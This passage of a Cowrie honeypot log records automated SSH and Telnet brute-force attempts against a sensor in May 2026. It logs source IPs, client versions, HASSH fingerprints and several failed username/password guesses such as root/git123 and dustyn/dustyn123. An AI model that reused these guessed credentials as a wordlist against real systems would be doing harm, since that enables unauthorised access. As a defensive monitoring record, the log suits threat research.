poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:56:45.722051Z","src_ip":"2.57.122.208","session":"6f053ff1e95d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:56:46.368875Z","src_ip":"2.57.122.208","session":"6f053ff1e95d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:56:47.635677Z","src_ip":"2.57.122.208","session":"6f053ff1e95d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":49780,"dst_ip":"10.17.0.5","dst_port":22,"session":"de333ce60c2e","protocol":"ssh","message":"New connection: 103.15.226.202:49780 (10.17.0.5:22) [session: de333ce60c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:57:59.629536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:57:59.634393Z","src_ip":"103.15.226.202","session":"de333ce60c2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:57:59.875090Z","src_ip":"103.15.226.202","session":"de333ce60c2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwer!@#$","message":"login attempt [root/1234qwer!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:58:00.595811Z","src_ip":"103.15.226.202","session":"de333ce60c2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:58:01.840768Z","src_ip":"103.15.226.202","session":"de333ce60c2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":48726,"dst_ip":"159.203.135.109","dst_port":22,"session":"1130f7aa8bfe","protocol":"ssh","message":"New connection: 193.24.211.100:48726 (159.203.135.109:22) [session: 1130f7aa8bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:59:05.162228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:59:05.173905Z","src_ip":"193.24.211.100","session":"1130f7aa8bfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:59:05.272281Z","src_ip":"193.24.211.100","session":"1130f7aa8bfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"git123","message":"login attempt [root/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:59:05.695072Z","src_ip":"193.24.211.100","session":"1130f7aa8bfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:59:06.806949Z","src_ip":"193.24.211.100","session":"1130f7aa8bfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":44898,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b7ebce751b7","protocol":"ssh","message":"New connection: 2.57.122.208:44898 (10.17.0.5:22) [session: 9b7ebce751b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:59:21.131607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:59:21.224858Z","src_ip":"2.57.122.208","session":"9b7ebce751b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:59:21.325654Z","src_ip":"2.57.122.208","session":"9b7ebce751b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:59:22.123371Z","src_ip":"2.57.122.208","session":"9b7ebce751b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:59:23.555090Z","src_ip":"2.57.122.208","session":"9b7ebce751b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":7134,"dst_ip":"10.17.0.5","dst_port":22,"session":"c477209be3c1","protocol":"ssh","message":"New connection: 213.209.159.56:7134 (10.17.0.5:22) [session: c477209be3c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:00:03.883211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:00:03.975252Z","src_ip":"213.209.159.56","session":"c477209be3c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:00:04.053339Z","src_ip":"213.209.159.56","session":"c477209be3c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dustyn","password":"dustyn","message":"login attempt [dustyn/dustyn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:00:04.455468Z","src_ip":"213.209.159.56","session":"c477209be3c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dustyn","password":"dustyn1","message":"login attempt [dustyn/dustyn1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:00:05.544617Z","src_ip":"213.209.159.56","session":"c477209be3c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dustyn","password":"dustyn123","message":"login attempt [dustyn/dustyn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:00:06.630107Z","src_ip":"213.209.159.56","session":"c477209be3c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dustyn","password":"dustyn1234","message":"login attempt [dustyn/dustyn1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:00:07.717285Z","src_ip":"213.209.159.56","session":"c477209be3c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dustyn","password":"dustyn12345","message":"login attempt [dustyn/dustyn12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:00:08.802990Z","src_ip":"213.209.159.56","session":"c477209be3c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:00:09.887993Z","src_ip":"213.209.159.56","session":"c477209be3c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.207","src_port":19576,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5212d13f5d6","protocol":"ssh","message":"New connection: 64.89.160.207:19576 (10.17.0.5:22) [session: c5212d13f5d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:00:54.390301Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:00:54.395137Z","src_ip":"64.89.160.207","session":"c5212d13f5d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.207","src_port":19592,"dst_ip":"10.17.0.5","dst_port":22,"session":"834a96e75b9a","protocol":"ssh","message":"New connection: 64.89.160.207:19592 (10.17.0.5:22) [session: 834a96e75b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:00:54.501586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:00:54.507058Z","src_ip":"64.89.160.207","session":"834a96e75b9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:00:54.598361Z","src_ip":"64.89.160.207","session":"834a96e75b9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lightning","message":"login attempt [root/lightning] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:00:54.777890Z","src_ip":"64.89.160.207","session":"834a96e75b9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:00:55.868452Z","src_ip":"64.89.160.207","session":"834a96e75b9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":44198,"dst_ip":"10.17.0.5","dst_port":22,"session":"d974f22fce01","protocol":"ssh","message":"New connection: 103.15.226.202:44198 (10.17.0.5:22) [session: d974f22fce01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:01:33.931072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:01:33.935098Z","src_ip":"103.15.226.202","session":"d974f22fce01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:01:34.171359Z","src_ip":"103.15.226.202","session":"d974f22fce01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1314520","message":"login attempt [root/1314520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:01:34.883169Z","src_ip":"103.15.226.202","session":"d974f22fce01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:01:36.123505Z","src_ip":"103.15.226.202","session":"d974f22fce01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":41918,"dst_ip":"10.17.0.5","dst_port":22,"session":"421923e6e8c0","protocol":"ssh","message":"New connection: 2.57.122.208:41918 (10.17.0.5:22) [session: 421923e6e8c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:01:57.533701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:01:57.721449Z","src_ip":"2.57.122.208","session":"421923e6e8c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:01:57.730082Z","src_ip":"2.57.122.208","session":"421923e6e8c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:01:58.620974Z","src_ip":"2.57.122.208","session":"421923e6e8c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:01:59.935861Z","src_ip":"2.57.122.208","session":"421923e6e8c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":58908,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec01bef3442a","protocol":"telnet","message":"New connection: 129.232.238.42:58908 (159.203.135.109:23) [session: ec01bef3442a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:03:43.021319Z"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":52798,"dst_ip":"159.203.135.109","dst_port":23,"session":"80b84f3596e3","protocol":"telnet","message":"New connection: 129.232.238.42:52798 (159.203.135.109:23) [session: 80b84f3596e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:03:59.149648Z"}
{"eventid":"cowrie.session.closed","duration":36.568379402160645,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:04:19.589575Z","src_ip":"129.232.238.42","session":"ec01bef3442a","protocol":"telnet"}
